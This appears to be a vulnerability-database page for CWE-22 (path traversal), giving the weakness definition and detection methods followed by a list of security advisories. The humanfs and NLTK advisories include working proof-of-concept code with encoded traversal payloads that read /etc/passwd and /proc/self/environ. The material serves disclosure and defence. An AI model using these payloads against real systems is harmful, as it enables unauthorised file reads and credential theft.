CWE-22
Weakness Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.
Mapping guidance
This CWE entry might have children that would be more appropriate.
Examine children of this entry to see if there is a better fit. Consider children such as CWE-23 (or its descendants) for relative path traversal, or CWE-36 for absolute path traversal.
Relationships and members
Modes of introduction
Detection methods
Automated Static Analysis
Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.
Effectiveness: High
Manual Static Analysis
Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.
Effectiveness: High
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: High
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: High
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Other
In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
Relationship
Pathname equivalence can be regarded as a type of canonicalization error.
Relationship
Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).
Terminology
Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.
Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.
Research Gap
Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.
Research Gap
Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.
Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.
Content history
Identified weakness in Perl demonstrative example
Provided diagram to improve CWE usability
Identified weakness in "good code" for Python demonstrative example
Provided a demonstrative example in PHP
updated Potential_Mitigations, Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
updated Description
updated Relationships, Taxonomy_Mappings
updated Potential_Mitigations
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
updated Potential_Mitigations
updated Potential_Mitigations
updated Potential_Mitigations
updated Relationships
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, References, Relationships
updated Potential_Mitigations
updated Observed_Examples
updated Related_Attack_Patterns, Relationships
updated Other_Notes, Research_Gaps
updated Detection_Factors, Relationships, Taxonomy_Mappings
updated Relationships
updated Related_Attack_Patterns
updated Demonstrative_Examples
updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
updated References, Relationships
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships, Type
updated Relationships
updated Potential_Mitigations, Relationships
updated Demonstrative_Examples, Potential_Mitigations
updated Relationships
updated Potential_Mitigations, Relationships
updated Demonstrative_Examples, Relationships
updated Relationships
updated Observed_Examples, Relationships
updated Observed_Examples, Relationships
updated Observed_Examples, References
updated Common_Consequences, Description, Detection_Factors
updated Demonstrative_Examples, References, Relationships, Time_of_Introduction
updated Mapping_Notes, Relationships
updated Observed_Examples
updated Common_Consequences, Description, Diagram, Observed_Examples, Other_Notes, References
updated Demonstrative_Examples, Relationships
updated Relationships
updated Applicable_Platforms, Detection_Factors, Observed_Examples, Potential_Mitigations, References
updated Mapping_Notes, Relationships
updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Relationships
updated Applicable_Platforms, Common_Consequences, Name, References, Relationships, Taxonomy_Mappings
16030 vulnerabilities reference this CWE, most recent first.
GHSA-P487-3Q65-H494
Vulnerability from github – Published: 2026-10-13 21:33 – Updated: 2026-10-13 21:33muCommander through 1.6.2 contains a path traversal vulnerability in UnpackJob that allows attackers to write files outside the destination folder by bypassing its ZipSlip check with unnormalized remote paths. Attackers can craft TAR or ZIP entries like ../../.ssh/authorized_keys that, when extracted to FTP or SFTP folders, create or overwrite files writable by the user's remote account.
{
"affected": [],
"aliases": [
"CVE-2026-110231"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-13T19:18:48Z",
"severity": "MODERATE"
},
"details": "muCommander through 1.6.2 contains a path traversal vulnerability in UnpackJob that allows attackers to write files outside the destination folder by bypassing its ZipSlip check with unnormalized remote paths. Attackers can craft TAR or ZIP entries like ../../.ssh/authorized_keys that, when extracted to FTP or SFTP folders, create or overwrite files writable by the user\u0027s remote account.",
"id": "GHSA-p487-3q65-h494",
"modified": "2026-10-13T21:33:39Z",
"published": "2026-10-13T21:33:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-110231"
},
{
"type": "WEB",
"url": "https://github.com/mucommander/mucommander/blob/3bc2118e13681a8018b84a06f1c5fea4a3f940f7/mucommander-commons-file/src/main/java/com/mucommander/commons/file/AbstractFile.java#L1021-L1023"
},
{
"type": "WEB",
"url": "https://github.com/mucommander/mucommander/blob/3bc2118e13681a8018b84a06f1c5fea4a3f940f7/mucommander-core/src/main/java/com/mucommander/job/impl/UnpackJob.java#L233-L256"
},
{
"type": "WEB",
"url": "https://github.com/mucommander/mucommander/blob/3bc2118e13681a8018b84a06f1c5fea4a3f940f7/mucommander-protocol-sftp/src/main/java/com/mucommander/commons/file/protocol/sftp/SFTPFile.java#L586-L622"
},
{
"type": "WEB",
"url": "https://github.com/mucommander/mucommander/releases/tag/1.6.2-1"
},
{
"type": "WEB",
"url": "https://hackmd.io/@1ExmmukzRMWN7B4gQ4W-4Q/ryH-CfoiMl"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/mucommander-through-1.6.2-path-traversal-via-archive-extraction-to-ftp-sftp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-P498-V437-472G
Vulnerability from github – Published: 2026-09-02 14:27 – Updated: 2026-09-02 14:27Summary
@humanfs/node does not treat symlinks as a separate case during copy operations. A symlink placed inside an attacker-controlled source tree can make copyAll() read and copy the contents of any file readable by the process, even when that file is outside the directory being copied.
Details
The Node implementation exposes symlink state through list(), but copyAll() ignores it. During recursive copies, every non-directory entry is passed to copy(), which delegates to fs.promises.copyFile().
On Node, copyFile() dereferences symlinks. As a result, a symlink inside the copied tree is handled as if it were an ordinary file, and the destination receives the contents of the symlink target rather than a copy of the link itself.
That breaks the expected boundary of a directory copy. A caller can point copyAll() at a seemingly self-contained directory and still end up copying data from elsewhere on the host filesystem if the source tree contains attacker-supplied symlinks.
The same dereference behavior also affects copy() when the source path itself is a symlink.
PoC
import { NodeHfs } from "@humanfs/node";
import fs from "node:fs/promises";
import path from "node:path";
import os from "node:os";
const root = await fs.mkdtemp(path.join(os.tmpdir(), "humanfs-"));
const src = path.join(root, "src");
const dst = path.join(root, "dst");
const secret = path.join(root, "secret.txt");
await fs.mkdir(src);
await fs.writeFile(secret, "TOPSECRET");
await fs.symlink(secret, path.join(src, "link.txt"));
const hfs = new NodeHfs();
await hfs.copyAll(src, dst);
console.log(await fs.readFile(path.join(dst, "link.txt"), "utf8"));
// TOPSECRET
Impact
If an application uses copyAll() or copy() on attacker-controlled paths, a symlink can be used to pull arbitrary readable host files into the copied output. In practice, that can turn a normal workspace copy, export, or packaging step into a file disclosure primitive.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@humanfs/node"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.16.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T14:27:16Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n`@humanfs/node` does not treat symlinks as a separate case during copy operations. A symlink placed inside an attacker-controlled source tree can make `copyAll()` read and copy the contents of any file readable by the process, even when that file is outside the directory being copied.\n\n### Details\n\nThe Node implementation exposes symlink state through `list()`, but `copyAll()` ignores it. During recursive copies, every non-directory entry is passed to `copy()`, which delegates to `fs.promises.copyFile()`.\n\nOn Node, `copyFile()` dereferences symlinks. As a result, a symlink inside the copied tree is handled as if it were an ordinary file, and the destination receives the contents of the symlink target rather than a copy of the link itself.\n\nThat breaks the expected boundary of a directory copy. A caller can point `copyAll()` at a seemingly self-contained directory and still end up copying data from elsewhere on the host filesystem if the source tree contains attacker-supplied symlinks.\n\nThe same dereference behavior also affects `copy()` when the source path itself is a symlink.\n\n### PoC\n\n```js\nimport { NodeHfs } from \"@humanfs/node\";\nimport fs from \"node:fs/promises\";\nimport path from \"node:path\";\nimport os from \"node:os\";\n\nconst root = await fs.mkdtemp(path.join(os.tmpdir(), \"humanfs-\"));\nconst src = path.join(root, \"src\");\nconst dst = path.join(root, \"dst\");\nconst secret = path.join(root, \"secret.txt\");\n\nawait fs.mkdir(src);\nawait fs.writeFile(secret, \"TOPSECRET\");\nawait fs.symlink(secret, path.join(src, \"link.txt\"));\n\nconst hfs = new NodeHfs();\nawait hfs.copyAll(src, dst);\n\nconsole.log(await fs.readFile(path.join(dst, \"link.txt\"), \"utf8\"));\n// TOPSECRET\n```\n\n### Impact\n\nIf an application uses `copyAll()` or `copy()` on attacker-controlled paths, a symlink can be used to pull arbitrary readable host files into the copied output. In practice, that can turn a normal workspace copy, export, or packaging step into a file disclosure primitive.",
"id": "GHSA-p498-v437-472g",
"modified": "2026-09-02T14:27:16Z",
"published": "2026-09-02T14:27:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/humanwhocodes/humanfs/security/advisories/GHSA-p498-v437-472g"
},
{
"type": "WEB",
"url": "https://github.com/humanwhocodes/humanfs/commit/22bbaa4487a3e6c1197ca619840de4615d0c3404"
},
{
"type": "PACKAGE",
"url": "https://github.com/humanwhocodes/humanfs"
},
{
"type": "WEB",
"url": "https://github.com/humanwhocodes/humanfs/releases/tag/node-v0.16.8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "humanfs: Recursive copy follows symlinked files and copies data from outside the source tree"
}
GHSA-P499-WVM3-J86W
Vulnerability from github – Published: 2024-04-04 15:30 – Updated: 2024-07-03 18:34Directory Traversal vulnerability in INOTEC Sicherheitstechnik GmbH INOTEC Sicherheitstechnik GmbH WebServer CPS220/64 V.3.3.19 allows a remote attacker to execute arbitrary code via the /etc/passwd file.
{
"affected": [],
"aliases": [
"CVE-2024-27575"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-04T13:15:44Z",
"severity": "HIGH"
},
"details": "Directory Traversal vulnerability in INOTEC Sicherheitstechnik GmbH INOTEC Sicherheitstechnik GmbH WebServer CPS220/64 V.3.3.19 allows a remote attacker to execute arbitrary code via the /etc/passwd file.",
"id": "GHSA-p499-wvm3-j86w",
"modified": "2024-07-03T18:34:06Z",
"published": "2024-04-04T15:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27575"
},
{
"type": "WEB",
"url": "https://gist.github.com/s4fv4n/098bd368bf054d008078e369108c2ebd"
},
{
"type": "WEB",
"url": "https://www.inotec-licht.de"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P49C-32GV-6CC5
Vulnerability from github – Published: 2022-05-24 22:28 – Updated: 2022-05-24 22:28The Tutor LMS – eLearning and online course solution WordPress plugin before 1.8.8 is affected by a local file inclusion vulnerability through the maliciously constructed sub_page parameter of the plugin's Tools, allowing high privilege users to include any local php file
{
"affected": [],
"aliases": [
"CVE-2021-24242"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-22T21:15:00Z",
"severity": "MODERATE"
},
"details": "The Tutor LMS \u00e2\u20ac\u201c eLearning and online course solution WordPress plugin before 1.8.8 is affected by a local file inclusion vulnerability through the maliciously constructed sub_page parameter of the plugin\u0027s Tools, allowing high privilege users to include any local php file",
"id": "GHSA-p49c-32gv-6cc5",
"modified": "2022-05-24T22:28:49Z",
"published": "2022-05-24T22:28:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24242"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/20f3e63a-31d8-49a0-b4ef-209749feff5c"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-P4CJ-M8W9-CG7Q
Vulnerability from github – Published: 2022-05-17 04:21 – Updated: 2022-05-17 04:21Directory traversal vulnerability in index.php in phpMoneyBooks 1.0.4 allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter, a different vulnerability than CVE-2012-1669. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information. NOTE: this issue might have been fixed in 1.0.3.
{
"affected": [],
"aliases": [
"CVE-2012-6665"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-11-17T22:59:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in index.php in phpMoneyBooks 1.0.4 allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter, a different vulnerability than CVE-2012-1669. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information. NOTE: this issue might have been fixed in 1.0.3.",
"id": "GHSA-p4cj-m8w9-cg7q",
"modified": "2022-05-17T04:21:33Z",
"published": "2022-05-17T04:21:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-6665"
},
{
"type": "WEB",
"url": "http://osvdb.org/80101"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/48389"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-P4FM-7W3J-8656
Vulnerability from github – Published: 2022-04-29 03:02 – Updated: 2022-04-29 03:02Directory traversal vulnerability in wra/public/wralogin in 2Wire Gateway, possibly as used in HomePortal and other product lines, allows remote attackers to read arbitrary files via a .. (dot dot) in the return parameter. NOTE: this issue was reported as XSS, but this might be a terminology error.
{
"affected": [],
"aliases": [
"CVE-2004-2749"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2004-12-31T05:00:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in wra/public/wralogin in 2Wire Gateway, possibly as used in HomePortal and other product lines, allows remote attackers to read arbitrary files via a .. (dot dot) in the return parameter. NOTE: this issue was reported as XSS, but this might be a terminology error.",
"id": "GHSA-p4fm-7w3j-8656",
"modified": "2022-04-29T03:02:02Z",
"published": "2022-04-29T03:02:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2004-2749"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/14894"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2004-01/0179.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/10666"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1008798"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/3683"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/9463"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-P4FQ-JH4W-P6HR
Vulnerability from github – Published: 2022-05-17 05:13 – Updated: 2022-05-17 05:13Directory traversal vulnerability in install.php in Piwigo before 2.4.7 allows remote attackers to read and delete arbitrary files via a .. (dot dot) in the dl parameter.
{
"affected": [],
"aliases": [
"CVE-2013-1469"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-03-13T20:55:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in install.php in Piwigo before 2.4.7 allows remote attackers to read and delete arbitrary files via a .. (dot dot) in the dl parameter.",
"id": "GHSA-p4fq-jh4w-p6hr",
"modified": "2022-05-17T05:13:33Z",
"published": "2022-05-17T05:13:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-1469"
},
{
"type": "WEB",
"url": "https://www.htbridge.com/advisory/HTB23144"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2013-02/0153.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/120592/Piwigo-2.4.6-Cross-Site-Request-Forgery-Traversal.html"
},
{
"type": "WEB",
"url": "http://piwigo.org/bugs/view.php?id=0002843"
},
{
"type": "WEB",
"url": "http://piwigo.org/forum/viewtopic.php?id=21470"
},
{
"type": "WEB",
"url": "http://piwigo.org/releases/2.4.7"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/24561"
},
{
"type": "WEB",
"url": "http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-P4GQ-832X-FM9V
Vulnerability from github – Published: 2026-06-16 14:34 – Updated: 2026-07-21 12:33Summary
nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.
Affected Component
nltk/data.py — find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check. Relevant occurrences:
data.py L650–L653 — final path constructed from url2pathname(resource_name) after checks data.py L54–L69 — _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string data.py L219–L245 — normalize_resource_url() for nltk: scheme contributes to decode-after-check data.py L615–L618 — defense-in-depth traversal check also operates on undecoded input
Root Cause The regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.
Proof of Concept
"""
NLTK Arbitrary File Read via URL-Encoded Path Traversal
=======================================================
Bypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py
by URL-encoding path separators and traversal components.
Affected: NLTK <= 3.9.4 (default ENFORCE=False configuration)
CWE: CWE-22 (Path Traversal)
Root Cause:
nltk/data.py:find() checks resource names against a regex for
traversal patterns (../, leading /, etc.) BEFORE calling
url2pathname() which decodes %xx sequences. This is a classic
"decode-after-check" vulnerability.
"""
import sys
import os
import warnings
# Suppress NLTK security warnings for clean PoC output
warnings.filterwarnings("ignore", category=RuntimeWarning)
# Setup
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "nltk"))
os.makedirs(os.path.expanduser("~/nltk_data/corpora"), exist_ok=True)
import nltk
from nltk.pathsec import ENFORCE
BANNER = """
===================================================
NLTK URL-Encoded Path Traversal PoC
Affected: nltk <= 3.9.4
Default ENFORCE={enforce}
===================================================
""".format(enforce=ENFORCE)
def test_variant(name, payload, fmt="raw"):
"""Test a single traversal variant."""
try:
content = nltk.data.load(payload, format=fmt)
if isinstance(content, bytes):
preview = content[:200].decode("utf-8", errors="replace")
else:
preview = content[:200]
first_line = preview.split("\n")[0]
print(f" [VULN] {name}")
print(f" Payload: {payload}")
print(f" Read OK: {first_line}")
return True
except Exception as e:
print(f" [SAFE] {name}")
print(f" Payload: {payload}")
print(f" Blocked: {type(e).__name__}: {e}")
return False
def main():
print(BANNER)
vulns = 0
# --- Variant 1: URL-encoded absolute path ---
print("[1] URL-encoded absolute path (%2f = /)")
if test_variant(
"Encoded leading slash bypasses ^/ regex check",
"nltk:%2fetc%2fpasswd",
):
vulns += 1
print()
# --- Variant 2: Encoded dot-dot traversal ---
print("[2] URL-encoded dot-dot traversal (%2e = .)")
if test_variant(
"Encoded dots bypass \\.\\./ regex check",
"nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
):
vulns += 1
print()
# --- Variant 3: Literal dots with encoded slash ---
print("[3] Literal dots with encoded slash (..%2f)")
if test_variant(
"Encoded slash after literal .. bypasses \\.\\./ regex",
"nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
):
vulns += 1
print()
# --- Variant 4: Read process environment (credential leak) ---
print("[4] Read /proc/self/environ (credential leakage)")
try:
content = nltk.data.load("nltk:%2fproc%2fself%2fenviron", format="raw")
env_vars = content.decode("utf-8", errors="replace").split("\x00")
print(f" [VULN] Leaked {len(env_vars)} environment variables")
for var in env_vars[:3]:
if var:
key = var.split("=")[0] if "=" in var else var
print(f" {key}=...")
vulns += 1
except Exception as e:
print(f" [SAFE] Blocked: {e}")
print()
# --- Control: verify normal traversal IS blocked ---
print("[CONTROL] Verify literal ../ is blocked by regex")
test_variant("Direct traversal (should be blocked)", "nltk:../../../etc/passwd")
print()
print("=" * 51)
print(f" Result: {vulns} bypass variant(s) succeeded")
if vulns > 0:
print(" Status: VULNERABLE (url2pathname decodes after regex check)")
else:
print(" Status: Not vulnerable")
print("=" * 51)
if __name__ == "__main__":
main()
Impact
Arbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:
/etc/passwd, /etc/shadow (if readable) /proc/self/environ — leaks environment variables, often containing API keys, DB credentials, cloud secrets Application source code and configuration files Cloud metadata, deployment secrets, SSH keys
This is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.
fix
https://github.com/nltk/nltk/pull/3575
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.9.4"
},
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54293"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T14:34:15Z",
"nvd_published_at": "2026-06-22T19:17:20Z",
"severity": "HIGH"
},
"details": "### Summary\nnltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK\u0027s SECURITY.md and read arbitrary files from the filesystem.\nWhile literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.\n### Affected Component\nnltk/data.py \u2014 find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check.\nRelevant occurrences:\n\ndata.py L650\u2013L653 \u2014 final path constructed from url2pathname(resource_name) after checks\ndata.py L54\u2013L69 \u2014 _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string\ndata.py L219\u2013L245 \u2014 normalize_resource_url() for nltk: scheme contributes to decode-after-check\ndata.py L615\u2013L618 \u2014 defense-in-depth traversal check also operates on undecoded input\n\nRoot Cause\nThe regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.\n### Proof of Concept\n```\n\"\"\"\nNLTK Arbitrary File Read via URL-Encoded Path Traversal\n=======================================================\nBypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py\nby URL-encoding path separators and traversal components.\n\nAffected: NLTK \u003c= 3.9.4 (default ENFORCE=False configuration)\nCWE: CWE-22 (Path Traversal)\n\nRoot Cause:\n nltk/data.py:find() checks resource names against a regex for\n traversal patterns (../, leading /, etc.) BEFORE calling\n url2pathname() which decodes %xx sequences. This is a classic\n \"decode-after-check\" vulnerability.\n\"\"\"\n\nimport sys\nimport os\nimport warnings\n\n# Suppress NLTK security warnings for clean PoC output\nwarnings.filterwarnings(\"ignore\", category=RuntimeWarning)\n\n# Setup\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), \"nltk\"))\nos.makedirs(os.path.expanduser(\"~/nltk_data/corpora\"), exist_ok=True)\n\nimport nltk\nfrom nltk.pathsec import ENFORCE\n\nBANNER = \"\"\"\n===================================================\n NLTK URL-Encoded Path Traversal PoC\n Affected: nltk \u003c= 3.9.4\n Default ENFORCE={enforce}\n===================================================\n\"\"\".format(enforce=ENFORCE)\n\ndef test_variant(name, payload, fmt=\"raw\"):\n \"\"\"Test a single traversal variant.\"\"\"\n try:\n content = nltk.data.load(payload, format=fmt)\n if isinstance(content, bytes):\n preview = content[:200].decode(\"utf-8\", errors=\"replace\")\n else:\n preview = content[:200]\n first_line = preview.split(\"\\n\")[0]\n print(f\" [VULN] {name}\")\n print(f\" Payload: {payload}\")\n print(f\" Read OK: {first_line}\")\n return True\n except Exception as e:\n print(f\" [SAFE] {name}\")\n print(f\" Payload: {payload}\")\n print(f\" Blocked: {type(e).__name__}: {e}\")\n return False\n\n\ndef main():\n print(BANNER)\n vulns = 0\n\n # --- Variant 1: URL-encoded absolute path ---\n print(\"[1] URL-encoded absolute path (%2f = /)\")\n if test_variant(\n \"Encoded leading slash bypasses ^/ regex check\",\n \"nltk:%2fetc%2fpasswd\",\n ):\n vulns += 1\n\n print()\n\n # --- Variant 2: Encoded dot-dot traversal ---\n print(\"[2] URL-encoded dot-dot traversal (%2e = .)\")\n if test_variant(\n \"Encoded dots bypass \\\\.\\\\./ regex check\",\n \"nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\",\n ):\n vulns += 1\n\n print()\n\n # --- Variant 3: Literal dots with encoded slash ---\n print(\"[3] Literal dots with encoded slash (..%2f)\")\n if test_variant(\n \"Encoded slash after literal .. bypasses \\\\.\\\\./ regex\",\n \"nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd\",\n ):\n vulns += 1\n\n print()\n\n 